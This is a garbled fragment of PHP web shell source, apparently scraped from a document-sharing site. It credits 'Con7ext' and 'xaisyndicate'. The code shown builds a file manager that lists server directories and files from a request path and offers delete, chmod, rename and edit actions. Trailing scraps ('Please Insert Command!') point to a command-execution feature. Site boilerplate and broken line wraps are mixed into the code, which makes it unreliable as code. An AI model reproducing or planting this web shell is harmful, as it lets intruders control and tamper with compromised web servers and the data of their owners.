<td><center>Size</center></td>
<td><center>Permission</center></
td>
<td><center>Action</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' ||
$dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.
$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo
'<font color="green">';
elseif(!is_readable($path.'/'.$dir))
echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !
is_readable($path.'/'.$dir)) echo
'</font>';
echo '</center></td>
<td><center><form
method="POST" action="?
option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option
value="delete">Delete</option>
<option
value="chmod">Chmod</option>
<option
value="rename">Rename</option>
</select>
<input type="hidden" name="type"
value="dir">
<input type="hidden" name="name"
value="'.$dir.'">
value="'.$path.'/'.$dir.'">
</form></center></td>
</tr>';
}
echo '<tr
class="first"><td></td><td></td><td
></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo '<tr>
<td><a href="?filesrc='.$path.'/'.
$file.'&path='.$path.'">'.
$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo
'<font color="green">';
elseif(!is_readable($path.'/'.$file))
echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !
is_readable($path.'/'.$file)) echo
'</font>';
echo '</center></td>
<td><center><form
method="POST" action="?
option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option
value="delete">Delete</option>
<option
value="chmod">Chmod</option>
<option
value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type"
value="file">
<input type="hidden" name="name"
value="'.$file.'">
value="'.$path.'/'.$file.'">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '<center><br/>Copyright
&copy '.date("Y").' <a
href="https://www.facebook.com/rin
to2234"
target="_blank">Con7ext</a> - <a
href="https://www.facebook.com/xa
isyndicate" target="_blank">'.
$_COPY.'</a></center>
</body>
</html>';
?>

A

Uploaded by

Copyright:

Available Formats

A

Uploaded by

Document Information

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

A

Uploaded by

Copyright:

Available Formats

if(get_magic_quotes_gpc()) {

echo "Please Insert Command!";

You might also like